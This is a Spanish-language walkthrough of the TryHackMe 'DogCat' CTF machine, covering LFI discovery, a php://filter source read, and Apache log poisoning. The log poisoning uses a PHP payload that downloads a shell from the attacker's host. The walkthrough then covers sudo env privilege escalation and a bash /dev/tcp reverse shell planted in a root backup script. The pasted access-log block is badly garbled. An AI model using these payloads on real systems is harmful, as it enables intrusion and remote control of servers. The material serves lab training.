DogCat - WriteUp

Hacemos reconocimiento con NMAP para ver los puertos que tiene abierto y buscar vulnerabilidades

```
sudo nmap -p- 10.10.120.148 --min-rate 5000 -sV -sC
```

Resultado:

```
-(kali@kali)-[~/Desktop/tryhackme]
└─$ <u>sudo</u> nmap -p- 10.10.120.148 --min-rate 5000 -sV -sC
Starting Nmap 7.94SVN (https://nmap.org) at 2024-12-03 20:25 EST
Warning: 10.10.120.148 giving up on port because retransmission cap hit (10).
Stats: 0:00:39 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 47.11% done; ETC: 20:26 (0:00:44 remaining)
Stats: 0:01:49 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 99.99% done; ETC: 20:26 (0:00:00 remaining)
Nmap scan report for 10.10.120.148
Host is up (0.31s latency).
Not shown: 41246 closed tcp ports (reset), 24287 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh
                    OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
 ssh-hostkey:
   2048 24:31:19:2a:b1:97:1a:04:4e:2c:36:ac:84:0a:75:87 (RSA)
   256 21:3d:46:18:93:aa:f9:e7:c9:b5:4c:0f:16:0b:71:e1 (ECDSA)
   256 c1:fb:7d:73:2b:57:4a:8b:dc:d7:6f:49:bb:3b:d0:20 (ED25519)
80/tcp open http
                    Apache httpd 2.4.38 ((Debian))
|_http-title: dogcat
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 129.05 seconds
```

Vemos que solo hay dos puertos abiertos, HTTP y SSH. Nada comprometedor, por lo que procedo a hacer un reconocimiento de directorios web con Gobuster.

```
gobuster dir -u http://10.10.120.148 -w /usr/share/wordlists/dirb/common.txt
```

```
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:
                              http://10.10.120.148
[+] Method:
                              GET
[+] Threads:
                              10
[+] Wordlist:
                              /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:
[+] User Agent:
                              gobuster/3.6
[+] Timeout:
                              10s
Starting gobuster in directory enumeration mode
/.htaccess
                       (Status: 403) [Size: 278]
/.hta
                      (Status: 403) [Size: 278]
/.htpasswd
                      (Status: 403) [Size: 278]
                      (Status: 301) [Size: 313] [\rightarrow http://10.10.120.148/cats/]
/cats
                      (Status: 200) [Size: 418]
/index.php
/server-status
                      (Status: 403) [Size: 278]
Progress: 4614 / 4615 (99.98%)
Finished
```

Dado que no hay nada interesante tampoco, ingreso a la página web a ver para buscar más cosas.

Al entrar me doy cuenta que podría estar intentando cargar contenido basado en el valor de view debido a la URL: http://10.10.120.148/?view=dog

Ahora seguimos haciendo fuzzing pero con payload para LFI

```
wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
   --hc 404 "http://10.10.120.148/?view=dog/FUZZ"
```

Da muchos resultados, por lo que habrá que buscar manualmente utilizando como apoyo estos resultados:

```
000000001:
                        23 L
                                 74 W
                                            793 Ch
000000007:
                        25 L
                                78 W
                                            793 Ch
                                                        "%0a/bin/cat%20/etc/passwd"
                                           811 Ch
                                                        "../../apache/logs/error.log"
000000045:
                       23 L
                                74 W
                                                        "../../../apache/logs/error.log"
                                74 W
000000044:
                       23 L
                                           817 Ch
                                                        "../apache/logs/error.log"
                       23 L
                                74 W
000000047:
                                            799 Ch
                       23 L
                                                         ../../../../apache/logs/error.log"
000000043:
                                74 W
                                           823 Ch
                       21 L
000000003:
                                55 W
                                           597 Ch
                                                        "%00 .. / .. / .. / .. / .. / etc/passwd"
000000042:
                       23 L
                                74 W
                                            795 Ch
                                                        "/apache/logs/error.log"
000000046:
                       23 L
                                74 W
                                           805 Ch
                                                        ../../apache/logs/error.log"
                                                        "/apache2/logs/access.log"
000000031:
                       23 L
                                74 W
                                           799 Ch
000000050:
                       23 L
                                74 W
                                           755 Ch
                                                        "\\'/bin/cat%20/etc/shadow\\'"
000000049:
                       23 L
                                74 W
                                                        "\\'/bin/cat%20/etc/passwd\\'"
                                           755 Ch
000000038:
                       23 L
                                74 W
                                           813 Ch
                                                        "../../../apache/logs/access.log"
                                                        "../apache/logs/access.log"
                       23 L
000000040:
                                74 W
                                           801 Ch
                                                        "../../apache/logs/access.log"
                       23 L
                                74 W
000000039:
                                           807 Ch
                                                        "/apache/logs/error_log"
000000041:
                       23 L
                                74 W
                                           795 Ch
000000037:
                       23 L
                                74 W
                                           819 Ch
                                                        "../../../apache/logs/access.log"
                                                       "/apache2/logs/access_log"
000000030:
                       23 L
                                74 W
                                           799 Ch
                                                        "/apache/logs/access.log"
000000035:
                       23 L
                                74 W
                                           797 Ch
000000032:
                       23 L
                                74 W
                                           797 Ch
                                                        "/apache2/logs/error_log"
000000036:
                       23 L
                                74 W
                                           825 Ch
                                                        "../../../apache/logs/access.log"
                                                        "/apache2/logs/error.log"
000000033:
                       23 L
                                74 W
                                            797 Ch
                       23 L
                                74 W
                                           797 Ch
                                                        "/apache/logs/access_log
000000034:
                                                        "../../administrator/inbox"
                                           807 Ch
000000029:
                       23 L
                                74 W
                                                        "..%2F..%2F..%2F%2F..%2F..%2F%2Fvar%2Fnamed"
000000022:
                       23 L
                                74 W
                                           803 Ch
000000027:
                        23 L
                                74 W
                                            783 Ch
                                                        "admin/access_log"
000000028:
                                74 W
                                                        "/admin/install.php"
                        23 L
                                            787 Ch
```

Ingreso al primer url que nos dio para buscar en el sistema.



Vemos que nos da un error, por lo que sabemos que es vulnerable a LFI. Después de buscar muchos directorios se me ocurrió convertir el index a base64 para poder leerlo y ver que pasa en el código:

```
http://10.10.120.148/?view=php://filter/convert.base64-
encode/cat/resource=index
```

Nos devuelve el index en base64, por lo que, lo decodeamos de la siguiente manera:



echo

"PCFET0NUWVBFIEhUTUw+CjxodG1sPgoKPGhlYWQ+CiAgICA8dGl0bGU+ZG9nY2F0PC90aXRsZT4KI CAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Ii9zdHlsZS5jc3M iPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDxoMT5kb2djYXQ8L2gxPgogICAgPGk+YSBnYWxsZXJ5IG9mI HZhcmlvdXMgZG9ncyBvciBjYXRzPC9pPgoKICAgIDxkaXY+CiAgICAgICAgPGgyPldoYXQgd291bGQ geW91IGxpa2UgdG8gc2VlPzwvaDI+CiAgICAgICAgPGEgaHJlZj0iLz92aWV3PWRvZyI+PGJ1dHRvb iBpZD0iZG9nIj5BIGRvZzwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iLz92aWV3PWNhdCI+PGJ1dHRvbiB pZD0iY2F0Ij5BIGNhdDwvYnV0dG9uPjwvYT48YnI+CiAgICAgICAgPD9waHAKICAgICAgICAgICAgZ nVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgCmV0dXJ uIHNOcnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICAkZXh0I D0gaXNzZXQoJF9HRVRbImV4dCJdKSA/ICRfR0VUWyJleHQiXSA6ICcucGhwJzsKICAgICAgICA gaWYoaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpIHsKICAgICAgICAgICAgICAgIGlmKGNvbnRhaW5zU3RyK CRfR0VUWyd2aWV3J10sICdkb2cnKSB8fCBjb250YWluc1N0cigkX0dFVFsndmlldyddLCAnY2F0Jyk pIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICdIZXJlIHlvdSBnbyEnOwogICAgICAgICAgICAgI CAgICAgIGLuY2x1ZGUgJF9HRVRbJ3ZpZXcnXSAuICRleHQ7CiAgICAgICAgICAgICAgICB9IGVsc2U gewogICAqICAqICAqICAqICAqICAqIGVjaG8qJ1NvcnJ5LCBvbmx5IGRvZ3Mqb3IqY2F0cyBhcmUqY vZGl2Pgo8L2JvZHk+Cgo8L2h0bWw+Cg==" | base64 -d

Salida:

```
<a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?
view=cat"><button id="cat">A cat</button></a><br>
        <?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'dog') ||
containsStr($_GET['view'], 'cat')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only dogs or cats are allowed.';
                }
            }
        ?>
    </div>
</body>
</html>
```

Gracias a este HTML podemos ver más a detalle el funcionamiento del request. Vemos que para utilizar el parámetro *view* forzosamente tiene que llevar "dog" o "cat". Además añade automáticamente la extensión definida en el parámetro ext.

Gracias a las validaciones que encontramos, aprovechamos el parámetro ext para incluir archivos con otras extensiones:

```
http://10.10.120.148/?view=dog/../../../etc/passwd&ext=
```

Nos devuelve esto:



Por lo que procederemos a hacer log poisoning. Información de cómo y qué es log poisoning: https://www.hackingarticles.in/apache-log-poisoning-through-lfi/?ref=fr33s0ul.tech Ingresamos a los logs de Apache en la ruta por defecto:

```
http://10.10.120.148/?view=dog/../../../var/log/apache2/access.log&ext=
```

```
Here you gold 27.0.01 -- [04/Dec/2024011722 +0000] "GET / HTTP/11" 200 615 "-" "CUT/7.640" 127.0.01 -- [04/Dec
 /2024/044752 +0000] "GET / HTTP/1.1" 200 615 "-" "CURV7.640" 10.90.139 - - [04/Dec/2024014817 +0000] "GET / HTTP/1.1" 201
  537 "-" "HOZIRA/5.0 (X41, LINUX X86_64, rv/09.0) GECKO/20100101 Firefox/415.0" 10.9.0.139 - - [04/Dec/2024014817 +0000] "GET
  style.css HTTP/4.1° 200 698 "http://to.40.420.448/" "Hozilla/5.0 (X41, Linux X86_64, rv409.0) Gecko/20100101 Firefox/415.0° 10.90.43
  - [04/Dec/2024014817 +0000] "GET/favicon.ico HTTP/1.1" 404 491 "http://10.10.120.148/" "Mozilla/5.0 (X41; Linux X86_64; rv109.0)
              GECKO/20100101 FIREFOX/115.0" 10.91.0.139 - - [04/DEC/2024011822 +0000] "GET /Rview=dog HTTP/1.1" 200 563
    "http://to./o/20.448/" "Mozilla/5.0 (X41, Linux x86_64, rv109.0) Gecko/20100101 Firefox/415.0" 10.9.0/39 - - [04/Dec/20.240148.2.
   +0000] "CET /dags/Gigg HTTP/11" 200 27000 "http://no.hu120.440/"view=dag "Mazilia/S.O KX41, Unix X6E_04, rufuta)
GCCLO/20100101 Frefor/145.5" 1270.04 - - [CH/Dec/2024014822 +0000] "GET / HTTP/11" 200 645 ":" "CUN/7.640" 4070.0451
[O4/Dec/2024049825 +0000] "GET /New=dog HTTP/14" 200 568 "http://ko/ka/2046/fvew=dog" "hozilla/5.0 (x41) Linux x86_64, rv40120 Gecka/2040064 Freford/45.0" 40.904164 - - [O4/Dec/2024049827 +0000] "GET /New=cat HTTP/14" 200 568
     "http://to.to.to.0.148/view=dog" "Mozilla/5.0 (X41; Linux x86_64; rvt09.0) Gecko/20100101 Firefox/415.0" 10.9.0.139 - - [04/Dec
/2024/401828 +0000] "GET /cats/4jpg HTTP/M" 200 19794 "http://10.00420.498/vecw=cat" "Hozele/5.0 (XM, Linux X86_64 (v.40%))
GECK6/20100104 Frefox/M5.0" 40.90.489 - - [04/Dec/2024041820 +0000] "GET //vecw=dog HTTP/M" 200 568 "http://do/do/20.4404820
    /view=cat" "Mozilla/5.0 (X4); Linux x86_64; rv409.0) Gecka/20100104 Firefox/445.0" 10.9.0.139 - - [04/Dec/2024014830 +0000]
    /NeBureat Moranasa (Unit Linux X00...), Virtus
GEET (Aogustagos) HTTP/U/A 2006 HTTP/U/Aodus/And/NeBureatog "Moranasa (Unit X16...) (Volum X16...) (Volum X16...)
Frefor/USSS (Volum) - [OU/Dec/2024041832 +0000] "GET Ruseureat HTTP/U/ 200 562 "http://www.aodus/An/Nebureatog"
        "Mozilla/5.0 (X41; Linux x86_64, rv409.0) Gecko/20400404 Firefox/445.0" 40.9.0.439 - - [04/Dec/2024044833 +0000] "GET
        /cats/3.jpg HTTP/1.1" 200 24244 "http://to.10.0120.148/view=cat" "Mozilla/5.0 (X41; Linux X86_64; rv1090) Gecko/2011
     Firefox/45.0" 127.0.01 - - [04/Dec/2024014853 +0000] "GET / HTTP/11" 200 615 "-" "CURV 7.64.0" 127.0.01 - - [04/Dec
     /2024049423 +0000] "GET / HTTP/1/" 200 615 "-" "curl/7.64.0" 10.90/139 - - [04/Dec/202404931 +0000] "GET /dogs/1/1jpg
 имиченные 2000) CET I H I TIPM 200 etc - "CUTIFAR" ABANS - [DVPDE/JackHoff81 +000] "CET (Adaphhyg)
HTTP/M" 404 412 "" "Nozial/Sa (X4, tinux X66_64 rokola) accid/abotod FireForMFS" Abansi - [DVPDE/JackHoff85 +000] "CET (Adaphhyg) HTTP/M" 200 AFS "" "CutifAsylSa (X4, tinux X66_64 rokola) accid/abotod FireForMFS" 4700A
-- [DVPDE/JackHoff85 +0000] "CET / HTTP/M" 200 615 "" "CutifAsya" 4870AF8 - [DVPDE/JackHoff36 +0000] "CET / HTTP/M" 200 615 "" "CutifAsya" 4870AF8 - [DVPDE/JackHoff36 +0000] "CET / Adaphhyg HTTP/M" 404 40 "" "Nozial/Sa (X4, tinux X66_64 rokola) Gecka/Jachdoff FireForMFS" 4870AF8 - [DVPDE
          /2024012014 +0000] "GET /view=flao HTTP/1/" 200 557 "-" "Mozilla/5,0 (X11: Linux x86_64: rv109.0) Gecko/20100101
```

Ahora abrimos burpsuite para cambiar el user-agent y subir un reverse shell de pentestmonkey https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
Abrimos burpsuite y escribimos el siguiente payload:

```
<?php
file_put_contents('shell.php',file_get_contents('http://10.9.0.139:8000/shell.
php'))?>
```

Antes de darle forward, hay que prender el server donde está el archivo y ponernos en escucha en el puerto indicado por el rshell.

Después de buscar la flag encontré el directorio /var/www/html, hacemos un ls y un cat para encontrar la primera flag de 4.

Vamos un directorio para atrás y encontraremos la segunda.

Como no encontré más por falta de privilegios, escalemos a root para hacer la búsqueda más fácil.

Veamos el tipo de usuario que somos:

```
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Ahora veamos que binarios tienen privilegios

```
$ find / -type f -perm -4000 2>/dev/null
/bin/mount
/bin/su
/bin/umount
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/env
/usr/bin/gpasswd
/usr/bin/sudo
```

Como podemos ver, hay una función /env, la cual nos servirá porque no depende de una ubicación fija para los intérpretes, sino que usa el entorno dinámico proporcionado por el sistema.

Vamos a https://gtfobins.github.io/gtfobins/env/#sudo

Copiamos y pegamos el payload para generar un shell interactiva: sudo env /bin/sh Verificamos que seamos root

Vamos al directorio /root (Por lo general ahí hay flags en ctfs)

Después de haber buscado a través de comandos la última flag, no fui capaz de encontrarla:

```
find / -type f -name flag4* 2>/dev/null
```

Por lo que fui a THM a buscar pistas hasta que encontré que decía que salgamos del contenedor, pero no entendí lo que buscaba, así decidí enumerar más usuarios.

```
cut -d: -f1 /etc/passwd
root
daemon
bin
sys
sync
games
man
lp
mail
news
uucp
proxy
www-data
```

```
backup
list
irc
gnats
nobody
_apt
```

El único interesante es el de backup, por lo que me dirigí al directorio de opt, donde se almacena información extra del sistema para verificar si había un backup.

Y efectivamente había uno, había un archivo comprimido y un .sh:

```
cd backups
ls
backup.sh
backup.tar
cat backup.sh
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container
```

Hagamos un reverse shell para bash.

```
echo '#!/bin/bash' > backup.sh
echo 'bash -i >& /dev/tcp/10.9.0.139/9000 0>&1' >> backup.sh
cat backup.sh
```

Y con nc nos ponemos en escucha, hacemos ls y encontramos la flag.